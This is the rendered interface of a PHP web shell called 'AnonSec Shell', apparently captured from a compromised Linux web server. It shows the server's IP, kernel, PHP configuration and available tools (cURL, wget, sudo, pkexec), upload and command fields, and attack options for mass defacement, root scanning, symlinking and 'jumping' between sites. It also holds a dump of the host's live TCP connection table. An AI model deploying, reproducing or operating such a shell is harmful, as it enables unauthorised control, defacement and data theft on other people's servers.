AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.167   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/36/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/36/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11776139 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19597 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11776147 2 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:1DB5 06 00000000:00000000 03:00000710 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:BB31 01 00000000:00000000 02:000AF698 00000000    33        0 75232848 2 0000000000000000 28 4 26 10 9
   5: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000088391A67:0E2C 06 00000000:00000000 03:000000A4 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FE67DA03:64D8 03 00000000:00000000 01:00000060 00000000     0        0 0 0 0000000000000000
   7: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000088391A67:0DD2 06 00000000:00000000 03:0000114B 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:84B4 06 00000000:00000000 03:0000114B 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:CD87 01 00000000:00000000 02:000AF68A 00000000    33        0 75231985 3 0000000000000000 28 4 0 10 9
  10: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:8E64 06 00000000:00000000 03:0000001C 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:1085 01 00000000:00000000 02:000AFB20 00000000    33        0 75232244 3 0000000000000000 28 4 0 10 9
  12: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000088391A67:05DD 06 00000000:00000000 03:000008FD 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:551A 06 00000000:00000000 03:00000AEA 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:2489 06 00000000:00000000 03:00000BC0 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:BA4F 06 00000000:00000000 03:00000012 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:8BC6 01 00000000:00000000 02:000AF4C9 00000000    33        0 75231853 2 0000000000000000 28 4 0 10 9
  17: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:382E 06 00000000:00000000 03:0000148C 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:7007 06 00000000:00000000 03:00000559 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000088391A67:1198 06 00000000:00000000 03:0000157C 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000088391A67:11EA 06 00000000:00000000 03:000004DD 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:5B92 06 00000000:00000000 03:00000A78 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000088391A67:0A04 06 00000000:00000000 03:00000D23 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF00000FF1074A:CC86 01 00000000:00000000 02:000AF576 00000000    33        0 75231898 2 0000000000000000 25 4 24 36 -1
  24: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:295C 06 00000000:00000000 03:00001377 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:2365 06 00000000:00000000 03:00000A73 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000A7D949D8:B93F 06 00000000:00000000 03:00000AF8 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team